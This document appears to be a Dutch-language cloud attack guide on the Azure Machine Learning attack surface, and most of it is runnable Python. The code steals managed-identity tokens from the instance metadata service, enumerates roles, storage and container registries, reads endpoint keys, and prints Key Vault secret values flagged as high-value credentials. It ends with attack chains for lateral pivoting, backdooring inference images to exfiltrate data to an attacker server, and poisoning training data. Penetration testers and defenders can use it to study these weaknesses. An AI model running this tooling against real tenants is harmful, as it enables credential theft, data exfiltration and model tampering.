Azure ML-aanvalsoppervlak

import requests
 
# Vanuit een Azure ML-compute-instance
# Verkrijg een token voor de managed identity
token_url = "http://169.254.169.254/metadata/identity/oauth2/token"
params = {
    "api-version": "2018-02-01",
    "resource": "https://management.azure.com/"
}
headers = {"Metadata": "true"}
 
resp = requests.get(token_url, params=params, headers=headers)
token = resp.json()["access_token"]
 
# Gebruik het token om Azure-resources te inventariseren
mgmt_url = "https://management.azure.com/subscriptions?api-version=2020-01-01"
subs = requests.get(mgmt_url, headers={"Authorization": f"Bearer {token}"}).json()
for sub in subs.get("value", []):
    print(f"Subscription: {sub['displayName']} ({sub['subscriptionId']})")

import requests
 
def enumerate_role_assignments(token, subscription_id):
    """Inventariseer alle role assignments voor de huidige identiteit."""
    url = (
        f"https://management.azure.com/subscriptions/{subscription_id}"
        f"/providers/Microsoft.Authorization/roleAssignments"
        f"?api-version=2022-04-01"
    )
    headers = {"Authorization": f"Bearer {token}"}
    resp = requests.get(url, headers=headers).json()
 
    for assignment in resp.get("value", []):
        props = assignment["properties"]
        print(f"Role: {props['roleDefinitionId'].split('/')[-1]}")
        print(f"  Scope: {props['scope']}")
        print(f"  Principal: {props['principalId']}")
        print()
 
def get_token_for_resource(resource_url):
    """Verkrijg een managed-identity-token gericht op een specifieke resource."""
    resp = requests.get(
        "http://169.254.169.254/metadata/identity/oauth2/token",
        params={"api-version": "2018-02-01", "resource": resource_url},
        headers={"Metadata": "true"}
    )
    return resp.json()["access_token"]
 
# Verkrijg tokens voor verschillende Azure-services
mgmt_token = get_token_for_resource("https://management.azure.com/")
storage_token = get_token_for_resource("https://storage.azure.com/")
vault_token = get_token_for_resource("https://vault.azure.net")
graph_token = get_token_for_resource("https://graph.microsoft.com/")

from azure.ai.ml import MLClient
from azure.identity import DefaultAzureCredential
 
ml_client = MLClient(
    DefaultAzureCredential(),
    subscription_id="...",
    resource_group_name="...",
    workspace_name="..."
)
 
# Lijst alle datastores op
for ds in ml_client.datastores.list():
    print(f"Datastore: {ds.name} (type: {ds.type})")
    if hasattr(ds, 'account_name'):
        print(f"  Storage: {ds.account_name}/{ds.container_name}")
 
# Lijst geregistreerde modellen op
for model in ml_client.models.list():
    print(f"Model: {model.name} v{model.version}")

from azure.ai.ml import MLClient
from azure.identity import DefaultAzureCredential
 
ml_client = MLClient(
    DefaultAzureCredential(),
    subscription_id="...",
    resource_group_name="...",
    workspace_name="..."
)
 
# Verkrijg gedetailleerde datastore-info inclusief het credentialtype
for ds in ml_client.datastores.list():
    detail = ml_client.datastores.get(ds.name)
    print(f"\nDatastore: {detail.name}")
    print(f"  Type: {detail.type}")
 
    # Controleer credentialtype -- account_key vs identity-gebaseerd
    if hasattr(detail, 'credentials'):
        cred_type = type(detail.credentials).__name__
        print(f"  Credential type: {cred_type}")
 
    # Probeer bij blob-datastores de inhoud op te sommen
    if detail.type == "azure_blob":
        from azure.storage.blob import BlobServiceClient
        blob_client = BlobServiceClient(
            f"https://{detail.account_name}.blob.core.windows.net",
            credential=DefaultAzureCredential()
        )
        container = blob_client.get_container_client(detail.container_name)
        print(f"  Sample contents:")
        for blob in container.list_blobs(results_per_page=5):
            print(f"    {blob.name} ({blob.size} bytes)")
 
# Inventariseer environments (containerimages gebruikt voor training/inference)
for env in ml_client.environments.list():
    print(f"Environment: {env.name} v{env.version}")
    if hasattr(env, 'image'):
        print(f"  Image: {env.image}")
 
# Lijst compute targets op -- mogelijke pivotpunten
for compute in ml_client.compute.list():
    print(f"Compute: {compute.name} (type: {compute.type}, state: {compute.state})")

import requests
 
# Test of het endpoint authenticatie vereist
endpoint_url = "https://my-endpoint.westus2.inference.ml.azure.com/score"
 
# Probeer ongeauthenticeerde toegang
resp = requests.post(endpoint_url, json={"data": [[1,2,3]]})
print(f"No auth: {resp.status_code}")
 
# Probeer met een gestolen/geraden sleutel
resp = requests.post(
    endpoint_url,
    json={"data": [[1,2,3]]},
    headers={"Authorization": "Bearer <key>"}
)
print(f"With key: {resp.status_code}")

import requests
import json
 
def probe_endpoint(endpoint_url, keys=None):
    """Uitgebreide beveiligingsbeoordeling van een endpoint."""
    results = {}
 
    # Test authenticatiemodi
    results["no_auth"] = requests.post(
        endpoint_url, json={"data": [[1,2,3]]}
    ).status_code
 
    # Test met OPTIONS om CORS te controleren
    results["cors"] = requests.options(endpoint_url).headers.get(
        "Access-Control-Allow-Origin", "not set"
    )
 
    # Test Swagger/OpenAPI-endpoint (vaak blootgesteld)
    swagger_url = endpoint_url.replace("/score", "/swagger.json")
    swagger_resp = requests.get(swagger_url)
    results["swagger_exposed"] = swagger_resp.status_code == 200
    if results["swagger_exposed"]:
        results["swagger_paths"] = list(swagger_resp.json().get("paths", {}).keys())
 
    # Test health-endpoint
    health_url = endpoint_url.replace("/score", "/")
    results["health"] = requests.get(health_url).status_code
 
    # Test op uitgebreide foutmeldingen (informatieblootstelling)
    malformed_resp = requests.post(
        endpoint_url,
        data="not json",
        headers={"Content-Type": "application/json",
                 "Authorization": f"Bearer {keys[0]}" if keys else ""}
    )
    results["error_verbosity"] = len(malformed_resp.text)
    results["error_sample"] = malformed_resp.text[:500]
 
    return results
 
# Inventariseer alle endpoints en onderzoek elk
from azure.ai.ml import MLClient
from azure.identity import DefaultAzureCredential
 
ml_client = MLClient(
    DefaultAzureCredential(),
    subscription_id="...",
    resource_group_name="...",
    workspace_name="..."
)
 
for endpoint in ml_client.online_endpoints.list():
    print(f"\n=== Endpoint: {endpoint.name} ===")
    print(f"  Auth mode: {endpoint.auth_mode}")
    print(f"  Scoring URI: {endpoint.scoring_uri}")
 
    # Verkrijg endpoint-sleutels bij key-based auth
    if endpoint.auth_mode == "key":
        keys = ml_client.online_endpoints.get_keys(endpoint.name)
        print(f"  Primary key: {keys.primary_key[:10]}...")
        print(f"  Secondary key: {keys.secondary_key[:10]}...")

from azure.keyvault.secrets import SecretClient
from azure.identity import DefaultAzureCredential
 
# Azure ML-workspaces hebben een bijbehorende Key Vault
kv_client = SecretClient(
    vault_url="https://my-workspace-kv.vault.azure.net/",
    credential=DefaultAzureCredential()
)
 
# Lijst en lees secrets
for secret in kv_client.list_properties_of_secrets():
    print(f"Secret: {secret.name}")
    value = kv_client.get_secret(secret.name)
    print(f"  Value: {value.value[:50]}...")

from azure.keyvault.secrets import SecretClient
from azure.keyvault.keys import KeyClient
from azure.keyvault.certificates import CertificateClient
from azure.identity import DefaultAzureCredential
 
credential = DefaultAzureCredential()
vault_url = "https://my-workspace-kv.vault.azure.net/"
 
# Inventariseer secrets
secret_client = SecretClient(vault_url=vault_url, credential=credential)
print("=== Secrets ===")
for secret in secret_client.list_properties_of_secrets():
    print(f"  {secret.name} (enabled: {secret.enabled}, "
          f"created: {secret.created_on})")
    # Categoriseer op naamgevingsconventie
    if any(kw in secret.name.lower() for kw in
           ['connection', 'storage', 'sql', 'password', 'key', 'token']):
        print(f"    [HIGH VALUE] Likely credential or connection string")
 
# Inventariseer keys (gebruikt voor encryptie, ondertekening)
key_client = KeyClient(vault_url=vault_url, credential=credential)
print("\n=== Keys ===")
for key in key_client.list_properties_of_keys():
    print(f"  {key.name} (type: {key.key_type}, ops: {key.allowed_operations})")
 
# Inventariseer certificaten
cert_client = CertificateClient(vault_url=vault_url, credential=credential)
print("\n=== Certificates ===")
for cert in cert_client.list_properties_of_certificates():
    print(f"  {cert.name} (expires: {cert.expires_on})")

import requests
 
def enumerate_acr(acr_name, token):
    """Inventariseer repositories en images in Azure Container Registry."""
    acr_url = f"https://{acr_name}.azurecr.io"
    headers = {"Authorization": f"Bearer {token}"}
 
    # Verkrijg een ACR-specifiek token via managed identity
    exchange_url = f"{acr_url}/oauth2/exchange"
    acr_token_resp = requests.post(exchange_url, data={
        "grant_type": "access_token",
        "service": f"{acr_name}.azurecr.io",
        "access_token": token
    })
    acr_token = acr_token_resp.json().get("refresh_token")
 
    # Lijst repositories op
    repos = requests.get(
        f"{acr_url}/v2/_catalog",
        headers={"Authorization": f"Bearer {acr_token}"}
    ).json()
 
    for repo in repos.get("repositories", []):
        print(f"Repository: {repo}")
        # Lijst tags op
        tags = requests.get(
            f"{acr_url}/v2/{repo}/tags/list",
            headers={"Authorization": f"Bearer {acr_token}"}
        ).json()
        for tag in tags.get("tags", [])[:5]:
            print(f"  Tag: {tag}")
            # Verkrijg manifest voor image-analyse
            manifest = requests.get(
                f"{acr_url}/v2/{repo}/manifests/{tag}",
                headers={
                    "Authorization": f"Bearer {acr_token}",
                    "Accept": "application/vnd.docker.distribution.manifest.v2+json"
                }
            ).json()
            print(f"  Layers: {len(manifest.get('layers', []))}")

import requests
 
def assess_network_isolation(token, subscription_id, resource_group, workspace_name):
    """Beoordeel of een Azure ML-workspace correcte netwerkisolatie heeft."""
    base_url = "https://management.azure.com"
    headers = {"Authorization": f"Bearer {token}"}
 
    # Verkrijg workspace-details
    ws_url = (
        f"{base_url}/subscriptions/{subscription_id}"
        f"/resourceGroups/{resource_group}"
        f"/providers/Microsoft.MachineLearningServices"
        f"/workspaces/{workspace_name}"
        f"?api-version=2023-10-01"
    )
    ws = requests.get(ws_url, headers=headers).json()
 
    props = ws.get("properties", {})
    results = {
        "public_network_access": props.get("publicNetworkAccess", "Unknown"),
        "private_endpoints": [],
        "managed_network": props.get("managedNetwork", {}),
    }
 
    # Controleer op private-endpoint-verbindingen
    pe_connections = props.get("privateEndpointConnections", [])
    for pe in pe_connections:
        pe_props = pe.get("properties", {})
        results["private_endpoints"].append({
            "name": pe.get("name"),
            "status": pe_props.get("privateLinkServiceConnectionState", {}).get("status")
        })
 
    # Beoordeel risico
    if results["public_network_access"] == "Enabled":
        print("[CRITICAL] Public network access is enabled")
    if not results["private_endpoints"]:
        print("[HIGH] No private endpoints configured")
 
    return results

1. Initial access via malicious notebook or compromised data scientist credentials
2. Extract managed identity token from IMDS (169.254.169.254)
3. Enumerate role assignments to discover overprivileged identity
4. Access Key Vault secrets (storage keys, API credentials, connection strings)
5. Use storage keys to access blob containers across the subscription
6. Discover secrets in non-ML Key Vaults shared by the managed identity
7. Pivot to databases, APIs, or other services using extracted credentials

1. Enumerate ACR repositories via workspace managed identity
2. Identify inference container images used by production endpoints
3. Pull the target image, inject a backdoor (data exfiltration layer)
4. Push the modified image with the same tag (no immutability)
5. Trigger endpoint redeployment (or wait for next scheduled update)
6. Backdoored model now exfiltrates inference data to attacker C2

1. Access workspace via compromised compute instance
2. Enumerate datastores and identify training data locations
3. Modify training data in blob storage to inject backdoor examples
4. Wait for scheduled retraining pipeline to execute
5. Backdoored model is registered in model registry
6. Backdoored model is deployed to production endpoint